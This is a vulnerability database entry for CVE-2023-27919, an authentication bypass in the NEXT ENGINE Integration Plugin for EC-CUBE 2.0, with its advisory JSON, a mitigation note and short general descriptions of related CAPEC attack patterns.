5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-27919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-10T06:15:14Z",
    "severity": "MODERATE"
  },
  "details": "Authentication bypass vulnerability in NEXT ENGINE Integration Plugin (for EC-CUBE 2.0 series) all versions allows a remote unauthenticated attacker to alter the information stored in the system.",
  "id": "GHSA-v4hm-xqrg-4qfp",
  "modified": "2024-04-04T03:58:41Z",
  "published": "2023-05-10T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27919"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN50862842"
    },
    {
      "type": "WEB",
      "url": "https://main.next-engine.com/Usernotice/detail?id=1054"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list